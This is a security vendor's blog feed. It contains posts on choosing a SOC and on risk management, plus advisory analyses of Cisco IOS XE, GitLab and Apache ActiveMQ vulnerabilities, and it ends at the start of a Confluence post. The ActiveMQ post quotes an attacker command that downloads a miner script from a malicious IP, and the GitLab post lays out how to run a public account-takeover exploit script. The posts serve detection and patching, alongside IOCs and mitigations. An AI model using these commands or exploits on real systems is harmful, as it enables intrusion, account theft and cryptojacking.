Leo Duntze on Senthorus Blog

What SOC to choose

Thu, 13 Jun 2024 00:00:00 +0000

Introduction

This article is the second part of our series “Unlocking your true Security Potential by deploying a Security Operations Center (SOC)”. In the first part we examined how a SOC enhances an organization’s security posture. Now, in this second part we will explore various deployment options for a SOC, discussing their advantages and disadvantages. Ultimately, in the last part of the series we showcase exclusively Senthorus’ capabilities, and what truly establishes it as a next generation SOC amongst its competitors.

Recap: Why a SOC helps in the Cyber Risk Management Process

Before we take on the different SOC types, we recapitulate: the deployment and operation of a SOC drastically improves the security posture of any organization by guaranteeing the continuity of the risk management process. Further, a SOC offers following benefits:

Proactive Threat Detection
Rapid Incident Response
Enhanced Visibility
Compliance and Regulatory Alignments
Stakeholder Confidence

These key points underscore the crucial role of a SOC fortifying organizational defenses. From proactive threat detection to ensuring compliance and bolstering stakeholder confidence, a SOC stands as a cornerstone in safeguarding against evolving cyber threats, enabling businesses to navigate the digital landscape with resilience and assurance.

Which different SOC types exist

1. In-house SOC

An in-house SOC is operated internally within the organization’s premises, utilizing the organization’s own resources, staff, and infrastructure.

Advantages:

Complete control over SOC operations.
Tailored to meet specific organizational requirements and compliance standards.
Maximal visibility and alignment with internal security objectives.

Disadvantages:

High resource and workforce demands.
Financial hurdles and recruitment challenges.
Risk of unutilized manpower and scalability issues.

2. Managed Security Services Provider (MSSP) or Managed SOC

MSSPs like Senthorus are third party providers that offer outsourced security monitoring, threat detection, incident response among other capabilities on a 24x7 basis.

Advantages:

Specialized expertise and up-to-date technologies.
Cost-effective subscription model.
Seamless onboarding without staff recruitment.
High scalability and flexibility.

Disadvantages:

Risk of over-reliance and reduced internal expertise.
Potential coordination and communication challenges.
Compliance concerns regarding data sovereignty.

3. Co-Managed SOC

The organization collaborates with the MSSP to augment its internal security capabilities.

Advantages:

Combines internal SOC strengths with MSSP benefits.
Scalable and flexible with retained control.
Knowledge transfer from MSSP to internal team.

Disadvantages:

Coordination and integration challenges.
Potential conflicts between teams.
Need for clear service definitions in the SLA.

Factors to consider when choosing a SOC type

Security needs and requirements

Scale of operations

Define the SOC scope considering:

Number of endpoints and geographical distribution
Estimated data volume
Network architecture complexity
Existing environment
Data storage and backup needs

Compliance requirements

Regulatory frameworks like HIPAA, PCI DSS, or GDPR must be considered.

Example: The PCI DSS mandates continuous logging for organizations handling cardholder data. A non-compliant SOC choice can result in fines (USD 5,000 to 100,000/month), legal issues, and reputational damage.

MSSPs can help meet these standards quickly. In a co-managed SOC, collaboration ensures compliance within existing infrastructure.

Budget and cost considerations

Initial investment and operational costs

Internal SOC:

High upfront investment: personnel, infrastructure, consulting, software/hardware.
Potential hidden costs due to complexity.
Ongoing costs: salaries, licenses, subscriptions, training, 24x7 shifts.

MSSP:

Low initial cost due to subscription model.
Ongoing subscription fee.
Extra charges for special services (e.g. forensics, malware analysis).

Co-Managed SOC:

Similar to MSSP with potential onboarding delays.
Additional internal salaries and training.

Scalability and flexibility

Elasticity for seasonal or event-driven demands

Internal SOC:

Limited adaptability without cloud-based infrastructure.
Difficult staff scalability due to talent shortage.
Risk of slower incident response and operations.

MSSP:

Better equipped for varying workloads due to shared resources.

Co-Managed SOC:

Internal team handles alerts, MSSP supports triage and escalation.
Shared workload with flexible focus areas.
Recommended to define clear roles and use cloud infrastructure for agility.

Distribution of competences

Internal SOC:

Full control, no external dependencies.
Lack of external experience.

MSSP:

Gains expertise but may cause over-dependence.
Important to retain internal IT control.

Co-Managed SOC:

Balanced approach.
Retains in-house team and benefits from MSSP expertise.

Conclusion

The choice of SOC type is critical for shaping an organization’s cybersecurity strategy. Each type has unique pros and cons. Careful consideration of the organization’s needs, infrastructure, budget, and compliance is essential.

Assess security needs and compliance requirements. Consult experts if necessary.
Consider budget and cost structures, especially long-term investments.
Evaluate scalability and flexibility, especially in the context of cloud integration.
Ensure competence distribution avoids dependencies while maintaining control.

Each organization is unique. With thorough evaluation and expert guidance, organizations can choose a SOC type that fortifies their security posture against evolving threats.

How to improve Risk Management by deploying a SOC

Wed, 08 May 2024 00:00:00 +0000

Introduction

Cybersecurity is a never-ending race between attackers and defenders. As soon as a new vulnerability is disclosed, all involved parties are off to the races. While defenders look to quickly minimize the impact, attackers are keen to develop their exploits rapidly to start compromising their victims. The adversary’s acts are mostly motivated by either financial profit, political interest, or simply to gain reputation within the hacking community.

This article marks the first part of our series: “Unlocking true security potential by deploying a Security Operations Center (SOC)”. In this series we will present a comprehensive roadmap on deploying a SOC, starting with theoretical considerations, before outlining concrete solutions. This article will show; where in the risk management process a SOC can be positioned and what benefits it offers to an organization. In the end the reader should have a clear understanding of how running a SOC helps the risk management process of any organization.

What is Cyber Risk Management?

Before we can start to introduce cyber risk management, we first need to define the term ‘risk’. Risk is the combination of the probability of an event and its consequence / impact. This is commonly denoted as:

Risk = Likelihood x Impact

Whereby, the likelihood of a cybersecurity incident is influenced by the presence of vulnerabilities within a (digital) asset and the active threat posed by potential actors seeking to exploit these vulnerabilities.

Risk management in cybersecurity is the continuous process of identifying an organization’s digital assets and the risks posed to them, reviewing already in place security measures, implementing solutions to mitigate security risks, and ultimately monitoring residual risk.

Figure 1 Risk Management Process (source: Senthorus)

Step 1: Risk Identification

Every risk management process starts with the question what assets exist in the current environment, and what risks are posed to these assets. Several methods can be used to identify all possible risks, some of them are brainstorming sessions, usage of a risk matrix, maintenance of a risk register or an extensive SWOT-analysis (SWOT standing for strength, weaknesses, opportunities, and weaknesses).

Step 2: Risk Analysis

Once all possible risks are identified, the second step is to analyze these risks. For this purpose, two different methodologies can be used:

Qualitative risk analysis: All risks will be ranked by their occurrence probability and impact severity, based on subjective judgement.
Quantitative risk analysis: This assessment type serves to establish a financial evaluation of the risk’s impact.

Note: Assessing risks is often a very hard task. Firstly, there are many minor parameters with possible influence on the outcome. Secondly, it can be extremely difficult to translate these parameters into numerical values, for accurate calculations.

The risk analysis’ goal is to know which risks must be treated with highest priority as they could endanger an organization’s core business.

Step 3: Risk Mitigation

The results from the previous steps are then utilized to address the identified risks according to their priority. Several mitigation options exist:

Avoidance: eliminate any exposure to a particular risk (e.g., completely avoiding public Wi-Fi-networks for company devices).
Transfer: pass the responsibility to a third party (e.g., buying cybersecurity insurance).
Reduction: mitigate the likelihood or severity of a potential risk by implementing proactive measures (e.g., deploying robust network security measures like a firewall, or a network intrusion detection system, also known as NIDS).
Acceptance: acknowledging and embracing a certain level of risk without implementing any further mitigation controls (e.g., opting to not invest in any additional security measures due to cost-benefit considerations). The remaining risk is called: Residual Risk.

Step 4: Risk Monitoring

This step involves overseeing the continuous monitoring of the residual risk defined in step three (e.g., contracting, a third party to monitor the residual risk).

How the deployment of a SOC assists in the risk management process

Deploying and running a SOC fortifies the risk management process not only through continuous monitoring of the residual risk, but also through the implementation of corrective controls.

Figure 2 Integration of the SOC in the Risk Management Process (source: Senthorus)

Figure 3 Placement of the SOC within the risk management process (source: Senthorus)

Figure 2 and Figure 3 are a great illustration, showing where a SOC takes its position in the Risk Management process. Especially in Figure 3, we can highlight the ensured continuity of the risk management process by the SOC operations, specifically through the SOC’s reports on possible corrective controls.

The following points are the main objectives of a SOC:

Address residual cyber risk.
Help mitigating cyber risks.
Improve the cybersecurity posture through continuous monitoring.
Protect and defend an organization against rapid arising cyber threats.
Strengthen the cyber-resilience of an organization.

Figure 4 shows the separation of capabilities between the stages of mitigation / prevention and monitoring of the residual risk by the SOC. Senthorus’ detection capabilities are highlighted in blue, showing the wide range of detection capabilities offered. The most popular techniques used by Security Engineers to prevent security incidents are highlighted in green.

Figure 4 Mitigation and Detection capabilities in comparison (source: MITRE Defend)

Address residual risk with your SOC

Cyber risks should always be addressed first by implementing preventive controls as seen in Figure 4 highlighted in green. A SOC assists by addressing residual cyber risk, highlighted in blue in Figure 4. Optimizing the detection process is a main indicator of success for any SOC among handling alerts. This includes using Yara -, and SIGMA rules, or frameworks such as Alerting and Detection Strategy Framework (ADS) to reduce false positive alerts.

Detections can be further improved by the integration of cyber threat intelligence feeds, allowing for a proactive detection of evolving threats. Behavioral detections will help to identify unusual activities differing from a previously defined baseline.

Aggregation of low severity alerts into detections is a powerful way to detect advanced attacks. Some events may occur benign when considered in a small, specific scope. However, a succession of low severity events may indicate malicious behavior on an endpoint.

Benefits of deploying a SOC

Deploying a SOC has numerous benefits. We will address the most important ones briefly:

Proactive Threat Detection: SOC teams continuously monitor network traffic, logs, and security events to detect potential threats before they can cause significant damage.
Rapid Incident Response: With dedicated personnel and sophisticated tools, a SOC can quickly act on security incidents and this on a 24x7 basis.
Enhanced Visibility: SOC activities provide comprehensive visibility into the security posture of an organization, allowing CISOs to take informed decisions to strengthen their security posture in preparation for future evolving threats.
Compliance and Regulatory Alignments: SOC operations facilitate compliance with industry regulations and cybersecurity frameworks by ensuring the implementation of corrective security controls, data protection measures, and incident response procedures.
Stakeholder Confidence: The establishment of a SOC demonstrates commitment to cybersecurity excellence driving confidence among stakeholders, customers, and partners, enhancing an organization’s reputation in the marketplace.

We can denote that all of the previous listed points contribute to the Continuous Improvement process of an organization.

Figure 5 Continuous Improvement Process (source: ResearchGate)

Conclusion: Is deploying a SOC the missing puzzle piece?

In conclusion, the deployment of a Security Operations Center (SOC) represents a pivotal advancement in enhancing an organization’s cyber risk management capabilities. Particularly, CISOs tasked with safeguarding critical assets and data, may find the deployment of a SOC an elegant solution to ensure the continuous improvement of their organization’s security posture. By centralizing threat detection, incident response, and proactive monitoring within a dedicated SOC environment, CISOs can gain invaluable insights into evolving cyber threats, allowing them to take the right measures.

With real-time threat intelligence, advanced analytics, and skilled cybersecurity professionals at their disposal, CISOs can effectively anticipate, detect, and neutralize cyber threats before they escalate, thereby fortifying an organization’s resilience against a rapidly evolving threat landscape. The SOC not only serves as a proactive defense mechanism but also empowers CISOs to make well informed decisions, allocate resources efficiently, and align their organization’s security posture with business objectives, ultimately sustaining a culture of continuous improvement, hence staying one step ahead of threat actors.

In the second article of this series, we will take a closer look at the different deployment types of a SOC, presenting a comprehensive overview of their respective advantages and disadvantages.

CVE-2023-20198 & CVE-2023-20273

Tue, 23 Apr 2024 00:00:00 +0000

Introduction

On October 16th, 2023, Cisco disclosed a critical zero-day vulnerability regarding their WebUI feature for the IOS XE software. Cisco stated that this vulnerability was ongoingly being exploited at the time of the report, with attacks reaching back as early as September 18th, 2023. The vulnerability identified as CVE-2023-20198 received the highest CVSS score of 10.0, rating it as ‘critical’. This is mainly due to the fact that there are a lot of publicly reachable devices with this vulnerability on the internet, but also because of the consequences of successful exploitation. When executed successfully, the attacker gains level 15 privilege access to the device with just a simple web request. This allows the adversary to create a local user account with normal user access without having to provide any sort of authentication. This vulnerability affects both physical and virtual devices running Cisco’s ISO XE software that also have the HTTP or HTTPS server feature enabled.

Four days later, on October 20th, 2023, Cisco proceeded to announce another zero-day vulnerability: CVE-2023-20273, with a CVSS score of 7.2, rating it as ‘high’. This vulnerability lies in another component of the WebUI feature, allowing the attacker to inject arbitrary commands at the system level with root privileges. Attackers would leverage CVE-2023-20273 in combination with CVE-2023-20198 to write an implant into the filesystem of the affected device.

Presenting the attack

Before explaining how an attacker can successfully exploit the CVE-2023-20198 vulnerability, we first need to present the functionality of Cisco’s Web Services Management Agent (WMSA). The WMSA allows an “authenticated” user to execute commands and configure the system, e.g., by creating a local user with privilege level 15 access.

CLI command to create a local user with privilege level 15 access:

username <user> privilege 15 secret <password>

So, in order to successfully exploit CVE-2023-20198, an adversary needs to format a special web request. This can be achieved by encoding characters in the original web request, also known as bad path parsing. Such a web request is shown in Figure 1 (image credit HORIZON3).

Figure 1 Malicious web request successfully encoding: ‘webui_wsma_http’

Attackers then would use the created account to “legitimately” log in to the system and proceed with the exploitation of CVE-2023-20273. This exploitation is more advanced, so for deeper insights, please refer to this blog post.

Due to a bug in the validating conditions, the only requirement for the IPv6 field is to contain three fields delimited by ‘:’. This would eventually allow an attacker to place an implant in the /usr/binos/conf/nginx-conf/cisco_service.conf directory. Ultimately, the attacker has to restart the webserver; otherwise, the configuration changes, and thus the implant will never become active.

Analysis of the implant showed that it is written in the LUA scripting language. It is not persistent, meaning that a reboot of the system will remove it. What remains persistent are the newly created user accounts; even after several reboots of the system they could be observed. To date, there have been two versions of the implant spotted in the wild. Causing temporary confusion. When the number of affected devices worldwide with this implant plummeted from over 50,000 to under 1,000. Shortly afterwards, the second version of the implant was discovered. This was when it became evident that in the meantime, most of the devices updated to the second version of the implant, explaining this sudden drop.

Impact

The Common Vulnerability Scoring System (CVSS for short) rated the CVE-2023-20198 with the highest possible score of 10.0, classifying this vulnerability as ‘critical’. This is mainly due to the large number of public, vulnerable devices.

Figure 2 List of vulnerable devices worldwide. Source Senthorus

CVE-2023-20273, allowing for a code injection, received a CVSS rating of 7.2, classifying it as ‘high’. This is due to the fact that an attacker first needs to gain control over an authenticated account for this exploitation to work. However, as shown before, the combination of CVE2023-20298 and CVE-2023-20273 allows for a very impactful attack.

Defending against CVE-2023-20198 and CVE-2023-20273

How to check for the implant on a device inside the network

There are multiple ways to check for the malicious implant on compromised Cisco IOS XE devices. An administrator could run the following command on the device:

curl -k -X POST "https://DEVICEIP/webui/logoutconfirm.html?logon_hash=1"

If the request returns a hexadecimal string, then the implant is present. However, the above command checks only for the first version of the implant. The command for checking the second version of the implant is:

curl -k -H "Authorization: 0ff4fbf0ecffa77ce8d3852a29263e263838e9bb" -X POST https://DEVICEIP/webui/logoutconfirm.html?logon_hash=1

Another way to detect affected devices is by running this Python script, released by CERT Orange Cyberdefense.

How to mitigate the vulnerability?

Cisco is currently rolling out patches for the different versions of the IOS XE software. It is recommended to check this page (under the Fixed Releases tab) for which versions a patch is already available. If a patch exists, it then can be downloaded from Cisco’s official downloads page.

The following decision tree can be used to assist the process:

Figure 3 Decision tree proposed by Cisco

The research group HORIZON3 analyzed the patch and commented: “Cisco’s method for fixing this vulnerability seems a bit unconventional. We would have expected them to fix the path parsing vulnerability instead of adding a new header. This makes us wonder if there are other hidden endpoints that can be reached with this method.” (Source)

Aside from patching the system as soon as possible, it is also recommended to disable the WebUI feature. This can be done by executing the following commands in the global configuration mode:

no ip http server
no ip http secure-server

Another valuable workaround is to limit access to the HTTP server to the trusted 192.168.0.0/24 network. This can be done via:

!
ip http access-class 75
ip http secure-server
!
access-list 75 permit 192.168.0.0 0.0.0.255
access-list 75 deny any
!

To apply the access list in newer versions of Cisco IOS XE Software:

ip http access-class ipv4 75

Cisco points out that these workarounds work in their designated testing environment. However, clients are advised to check for applicability in their own infrastructure.

Indicators of Compromise (IOCs)

System Logs:

Check the system logs for suspicious usernames (‘cisco_tac_admin’, or ’cisco_support’), or any other recently created user that is unknown to the network.
Check the system logs for an installation process where the source filename is unknown or is not related to the expected action.

Snort/Suricata rules:

Cisco recommends following Snort rule IDs for detection:

3:50118 - alerts for initial implant injection (CVE-2023-20273)
3:62527 - alerts for implant interaction
3:62528 - alerts for implant interaction
3:62529 - alerts for implant interaction
3:62541 - alerts on attempted exploitation for initial access (CVE-2023-20198)
3:62542 - alerts on attempted exploitation for initial access (CVE-2023-20198)

IP Addresses:

The following IPs are said to carry out attacks:

5.149.249[.]74
154.53.56[.]231
154.53.63[.]93

Summary

CVE-2023-20198 and CVE-2023-20273 have shown how impactful zero-day attacks are. It became once again evident how important attack surface reduction is. A lot of devices could have been protected from this attack by disabling the HTTP/HTTPS feature. In cases where this is not possible, it would have been best practice to limit access to the WebUI feature only to trusted networks.

Further, these vulnerabilities pointed out the importance of input validation. Interestingly, Cisco’s approach to fixing this vulnerability is not to fix the path parsing vulnerability. Instead, a new header was added to enforce authentication. This leads to the suspicion that there are other hidden endpoints that can be reached with this method. Only time will prove if that really is the case. In the meantime, it is best to constantly monitor your network and your devices while applying cybersecurity best practices, such as ensuring authentication or attack surface reduction.

References

CVE-2023-7028 Gitlab Account-Take-Over Vulnerability

Thu, 25 Jan 2024 00:00:00 +0000

Introduction

On January 11th, 2024, GitLab published an advisory for several vulnerabilities found in the products GitLab Community Edition and GitLab Enterprise Edition. Of particular interest is a critical vulnerability identified as CVE-2023-7028. This vulnerability allows remote, unauthenticated third parties to takeover any GitLab account by resetting the associated password with an unauthorized email address. A complete takeover of the compromised account is possible as long as no Multi Factor Authentication (MFA) is in place.

The simplicity of exploitation as well as the potential impact on an organization made CVE-2023-7028 receive a CVSS rating of 10, rating it as ‘critical’. The vulnerability was dutifully found and reported through GitLab’s bug bounty program by the user ‘asterion04’ (initial report).

Presenting CVE-2023-7028

GitLab is a platform that allows easy management of source code repositories, facilitating collaboration amongst developers. It is widely used for version control and project management, maximizing the throughput of software development teams. As so many other web-based platforms with a large user base, GitLab provides users who forgot their password with a password reset option where the user receives an email with a link to reset the password.

The password reset request contains an array that accepts the user’s email address as input, after which the GitLab instance sends a password reset link to the user’s email address. However, and this is where the vulnerability lies, the platform fails to properly check the user’s input on the server side and sends the password reset link to any subsequent email address that is listed after the legitimate user’s email address. So, by appending his email address to the victim’s email, the attacker is able to receive the password reset email, just like the victim.

Ultimately, the attacker only requires the correct value for the ‘authenticity_token’ field, as well as the victim’s email address, to succeed with the attack.

While the password reset is possible throughout all affected versions, the account takeover won’t work for entities that have MFA enabled.

Figure 1 Vulnerability POST /users/password (Source: TryHackMe)

Affected versions

The following versions of GitLab are affected by CVE-2023-7028:

16.1 to 16.1.5
16.2 to 16.2.8
16.3 to 16.3.6
16.4 to 16.4.4
16.5 to 16.5.5
16.6 to 16.6.3
16.7 to 16.7.1

Within these versions, all authentication mechanisms are impacted (GitLab security advisory).

CVE-2023-7028 step-by-step exploitation

Let’s take a look at a practical example on how to exploit CVE-2023-7028. This step-by-step guide can be found on the cybersecurity training platform TryHackMe in this dedicated room, which allows for a hands-on experience in a safe environment.

Step 1: Preparation

The exploit is only successful when the attacker has knowledge of the victim’s email associated with his GitLab account. So, as a first step, it is essential to obtain the correct email address for the victim.

Step 2: Prepare the exploit code

The GitHub user Vozec published an out-of-the-box working Proof-of-Concept exploit code for CVE-2023-7028, massively simplifying the steps an adversary has to take.

So, in a second step, the attacker will need to create a local copy of the exploit code.

Step 3: Execute the exploit script

Next, the attacker proceeds to execute the exploit script. The usage for the script is as follows:

python3 attack.py -u <URL to the vulnerable GitLab instance> -t <victim@mail.com> -e <attacker@mail.com>

Figure 2 Successful exploitation of CVE-2023-7028 with the provided exploit code (Source: TryHackMe)

Step 4: Reset the password for the victim

Upon successful exploitation, the attacker as well as the victim will receive an email prompting them to reset the password.

Figure 3 Password reset email sent to the attacker and the victim (Source: TryHackMe)

Step 5: Further actions on the victim

Once the attacker gained initial access, he can now start to take further actions on the victim’s GitLab instance. Here, the possibilities are almost endless. For instance, the attacker could introduce malicious code into existing projects, exfiltrate confidential information as well as user credentials, or even delete valuable data. Furthermore, the compromised account could be leveraged for further attacks against other users or systems.

Impact

The wide-ranging deployment of GitLab in combination with the public availability of an out-of-the-box working exploit code could have made this vulnerability highly impactful. Fortunately, most of the damage was prevented since the vulnerability was dutifully reported through the HackerOne bug bounty program. Thanks to this report, a patch could be developed before attackers gained knowledge of the vulnerability’s existence. GitLab stated in their security advisory that they could not find any successful exploitation on GitLab-managed instances, including gitlab.com. Self-hosted customers should review their logs, checking for possible exploitation attempts (GitLab advisory).

A quick search (8th of February, 2024) on shodan.io shows that worldwide, more than 43,000 instances of GitLab are publicly accessible (see Figure 4). However, it is not known how many of these instances are still unpatched.

Figure 4 GitLab instances worldwide. Query: ‘product:GitLab’ (Source: Senthorus)

Currently, there are 319 publicly accessible GitLab instances in Switzerland, ranking Switzerland within the top 20 on the list of most GitLab instances per country.

Defending against CVE-2023-7028?

It is highly recommended to patch any self-managed, vulnerable version of GitLab Community Edition or Enterprise Edition to any of the following versions or higher: 16.1.6, 16.2.9, 16.3.7, 16.4.5, 16.5.6, 16.6.4, and 16.7.2. Organizations that have their instances managed by the vendor itself have no need to take any immediate action as the GitLab-managed version is already running on the latest patch.

Further, organizations that do not have the MFA requirement set up are urged to implement this extra layer of defense since it has proven itself to be a valuable layer of defense.

To ensure immediate notification every time a patch is released, organizations can enable GitLab security alerts, allowing for early awareness.

Indicators of Compromise (IOCs)

Organizations that suspect a possible compromise:

Check the web logs for API calls to ‘/users/password’ with multiple email addresses.
Inspect email server logs for messages from GitLab with unexpected recipients (possible attacker-controlled emails).
Examine GitLab audit logs for entries containing ‘meta.caller.id’ as ‘PasswordsController#create’.

How Senthorus protects its customers

Most cybersecurity experts work in a 9-to-5 environment. Well, the bad news is that threat actors don’t. Critical vulnerabilities like CVE-2023-7028 can arise at any time, and not only during business hours. This is where Senthorus jumps in the breach, taking the lead in providing its customers with cyber defense made in Switzerland through full 24/7 monitoring of their infrastructure. On top of this, Senthorus’ registered customers benefit from Incident Response and Digital Forensics services, in direct collaboration with our analysts, available all year around, 24/7/365.

Summary

As shown in this article, CVE-2023-7028 could have had a big impact on many organizations worldwide. Mainly because an out-of-the-box working exploit code was shortly after released to the public, but also because the exploit does not require anything else but an email address associated with a GitLab account.

CVE-2023-7028 is a textbook example of why running a bug bounty program can strengthen security in a reactive way. Through the dutiful report and the immediate actions taken by the vendor, a patch could be developed and provided before any adversarial groups even knew of the existence of said vulnerability.

CVE-2023-7028 is a strong reminder of the dynamic nature of cybersecurity as well as the importance of the concept ‘Defense in Depth’. The simple implementation of MFA for an account protected it against its takeover, massively reducing the impact an attacker could have had on the compromised organization.

Lastly, we showed how Senthorus can help organizations level up their cyber defense capabilities through extensive 24/7 monitoring and incident response, helping them to always stay ahead in the ever-evolving world of cybersecurity threats.

References

CVE-2023-46604: Critical RCE in Apache ActiveMQ Exploited by Kinsing Malware

Wed, 24 Jan 2024 00:00:00 +0000

Introduction

On October 27th, 2023, a vulnerability in the Apache ActiveMQ Message Broker, more specifically in the OpenWire Module, was disclosed. The vulnerability identified as CVE-2023-46604 received a CVSS score of 9.8, rating it as ‘critical’.

Taking a look at the vulnerability, a failed validation of throwable (java) class types leads to the possibility of Remote Code Execution (RCE). For instance, remote, unauthorized actors with access to a vulnerable instance of an OpenWire message broker can leverage the vulnerability to execute any kind of malicious command on the victim machine.

Please note, through the possibility of remote code execution, threat actors leveraged the vulnerability to deploy a vast amount of different malware including: GoTitan, PrCtrl RAT, Sliver, Ddostff as stated by Hackread’s report. However, in this article, we will analyze exploitation of CVE-2023-46604 in context with the deployment of ‘Kinsing’ a well-known crypto miner targeting Linux systems, also known as ‘h2miner’.

Introducing Message-oriented-Middleware (MoM)

Message-oriented-Middleware such as Apache ActiveMQ serves as a crucial bridge between multiple components that can be hosted on separate servers or that were written in different programming languages.

In general, message brokers are used to ensure reliable, asynchronous communication at all times. Hence, they are mainly found in enterprise systems where on-time delivery of messages is crucial. For example, if it is essential for a system to send a message no matter if the recipient is able to receive it or not (e.g., due to connectivity issues), a Message-oriented-Middleware like Apache ActiveMQ ensures asynchronous message delivery for various protocols, efficiently managing message complexities within distributed systems.

Presenting CVE-2023-46604

The manufacturer describes the vulnerability as follows:

“The Java OpenWire protocol marshaller is vulnerable to Remote Code Execution. This vulnerability may allow a remote attacker with network access to either a Java-based OpenWire broker or -client to run arbitrary shell commands by manipulating serialized class types in the OpenWire protocol to cause either the client or the broker (respectively) to instantiate any class on the class path.” (Source: Apache ActiveMQ)

In theory, a marshaller is a tool to transform the memory representation of an object into a data format suitable for storage or transmission. It is most commonly used when data must be moved between different computer programs.

Taking a look at the PatchDiff in the OpenWire protocol marshaller in Figure 1, we can observe that when the marshaller fails to validate the class type of a Throwable – an object dedicated to errors and exceptions in Java – it can accidentally create and execute instances of any class (in Figure 1 on the left half; see line 232). This may lead to the possible execution of remote code.

Figure 1: PatchDiff with the red box showing the provided fix. (Source: Trendmicro)

Use case: How is CVE-2023-46604 used to deploy the ‘Kinsing’ Crypto Miner malware?

Before we dive into how the Apache ActiveMQ vulnerability is used to deploy Kinsing malware along with presenting interesting characteristics of the Crypto Miner, it’s important to mention that threat actors leverage this vulnerability not only to deploy Crypto Miners, but a vast number of different malware could be observed for the attacks, such as ransomware, rootkits, and trojans, just to name a few.

Step 1: Initial access through CVE-2023-46604

To gain initial access, attackers exploit the incorrect deserialization vulnerability in the OpenWire protocol, denoted as CVE-2023-46604. Note, this article won’t provide you with a full, in-depth explanation on how to exploit the vulnerability, as this would be out of the scope. So, if you want to take a deep dive into Java (classes), please refer to this technical analysis. A Proof-of-Concept exploit code can be found here.

Step 2: Bash command

When CVE-2023-46604 is successfully exploited, the attacker is able to remotely execute the following malicious bash command:

curl -s 194.38.22.53/abc.sh

We can note that the bash command downloads a shell script named ‘abc.sh’ from the known malicious IP ‘194.38.22.53’.

Step 3: Execute downloaded shell script

Upon execution, the script ‘abc.sh’ then proceeds to download the Kinsing malware as well as additional binaries that are needed for the successful execution of the cryptocurrency miner. Unlike with other campaigns, the attackers appear to be using just one C2 server.

Step 4: Check for other crypto miners on the victim machine

An interesting feature of the Kensing Malware is that it actively checks if other crypto miners are already active on the compromised host. In the event that other miners were detected, Kensing automatically kills their running processes and active network connections.

Step 5: Create a Cronjob

Finally, Kensing proceeds to add a cronjob to download and execute its malicious bootstrap script every minute. This way, Kensing ensures that the latest binary of the malware is persistent on the system.

Impact

Apache ActiveMQ is one of the most popular open-source, multi-protocol message brokers based on Java, with more than 100k+ deployments worldwide. However, we have to note that not all instances of Apache ActiveMQ are vulnerable, attackers can only exploit instances that are publicly reachable through the internet and where the OpenWire protocol and thus the vulnerable marshaller are in use.

A report from the 30th of October 2023, three days after the disclosure of CVE-2023-46604, stated that out of the 7,249 publicly available ActiveMQ instances using the OpenWire protocol, 3,329 were actually vulnerable (Source: Shadowserver).

Comparing the worldwide trend with the trend for Switzerland, we can observe that while publicly available Apache ActiveMQ instances using the OpenWire protocol in Switzerland have decreased, the worldwide number of publicly reachable instances has remained the same.

Figure 2 Apache Active MQ devices using OpenWire. Coverage: worldwide (Source: Shadowserver)

Figure 3 Apache Active MQ devices using OpenWire. Coverage: Switzerland (Source: Shadowserver)

Attack trends

Taking a look at recent attacks, we observe ongoing exploitation of CVE-2023-46604 to this date (date: 23/01/2024) with spikes on the 28th of December 2023 with a total of 127 unique IPs observed and on the 15th of January 2024 with a total of 108 unique IPs observed exploiting CVE-2023-46604.

Figure 4 Attack Timeline over the last 30 days (Source: Greynoise, Date: 23/01/2024)

Defending against CVE-2023-46604?

According to Apache’s advisory, CVE-2023-46604 affects the following versions of Apache ActiveMQ:

Apache ActiveMQ 5.18.0 before 5.18.3
Apache ActiveMQ 5.17.0 before 5.17.6
Apache ActiveMQ 5.16.0 before 5.16.7
Apache ActiveMQ before 5.15.16
Apache ActiveMQ Legacy OpenWire Module 5.18.0 before 5.18.3
Apache ActiveMQ Legacy OpenWire Module 5.17.0 before 5.17.6
Apache ActiveMQ Legacy OpenWire Module 5.16.0 before 5.16.7
Apache ActiveMQ Legacy OpenWire Module 5.8.0 before 5.15.16

With a technical analysis as well as a proof-of-concept exploit code publicly accessible, organizations should update to a fixed version of ActiveMQ as soon as possible. The following versions implement the provided patch: 5.15.16, 5.16.7, 5.17.6, or 5.18.3. Further, it is strongly recommended to sift through the logs, searching for Indicators of Compromise (IoC). Logs are stored in the activemq.log

System administrators can find the distributed updates here. Apache also actively maintains a section here on how to improve the security posture of ActiveMQ implementations.

Indicators of Compromise (IOCs)

As several threat actors leverage CVE-2023-46604 to distribute different kinds of malware, there are a lot of IoCs to be observed. Taking a look at exploitation attempts leveraging the Kinsing crypto miner, the following IoCs could be observed:

IPv4: 194.38.22[.]53
URL: hxxp://194.38.22[.]53/abc.sh
File hash SHA-256: 5d2530b809fd069f97b30a5938d471dd2145341b5793a70656aad6045445cf6d
File hash SHA-256: e61f1337ffd14b9538ea102388f7bca234c3e719392bc1e03733e36913053a13

Please note that this list only includes IoCs for the deployment of Kinsing malware. If you want a more extensive list, covering other types of malware, this article is a good place to start.

How Senthorus protects its customers

Most cybersecurity experts work in a 9-to-5 environment. Well, the bad news is that threat actors don’t. Critical vulnerabilities like CVE-2023-46604 can arise at any time, and not only during business hours. This is where Senthorus jumps in the breach, taking the lead in providing its customers with cyber defense made in Switzerland through full 24/7 monitoring of their infrastructure. On top of this Senthorus’ registered customers benefit from Incident Response and Digital Forensics services, in direct collaboration with our analysts, available all year around, 24/7/365.

Taking a look at CVE-2023-46604, Microsoft Defender for Endpoint quickly included the ActiveMQ vulnerability in their detection:

Figure 5 Microsoft Defender for Endpoint Detection for CVE-2023-46604

Summary

CVE-2023-46604 was exploited by threat actors to remotely execute arbitrary code on the victim machines. This led to the deployment of ransomware, crypto miners, and trojans, just to mention a few. In this article, we analyzed what exactly causes the improper deserialization in the OpenWire protocol marshaller and what the corresponding consequences are. Even though disclosure of CVE-2023-46604 occurred more than two months ago, the vulnerability is still ongoingly being exploited. Due to the simplicity of the attack preparation as well as the exploitation phase, CVE-2023-46604 received a CVSS rating of ‘critical’. Affected organizations are urged to patch to secure versions as soon as possible.

CVE-2023-46604 is a strong reminder of the dynamic nature of cybersecurity as well as the complex characteristics of digital supply chain. We showed how Senthorus can help organizations level up their cyber defense capabilities through extensive 24/7 monitoring and incident response.

References

CVE-2023-22518 and how it is used in recent Ransomware Attacks

Tue, 31 Oct 2023 00:00:00 +0000

Introduction

On October 31st, 2023, Atlassian published a security bulletin presenting an Improper Authorization vulnerability. It affects all versions of Confluence Data Center and Confluence Server that are not hosted by Atlassian. Successful exploitation of this vulnerability allows a remote, unauthenticated attacker to create administrator accounts. Further, the attacker is able to reset the Confluence instance completely, affecting the Availability of the data, as there is no other way to retrieve the lost data apart from a backup.

The vulnerability tracked as CVE-2023-22518 initially received a CVSS score of 9.1. However, on November 6th, 2023, Atlassian updated the score to 10.0, ranking it as ‘critical’ since the vulnerability was leveraged by threat actors to deploy the ‘C3RB3R’ Ransomware (for further information, see this article from Trendmicro).

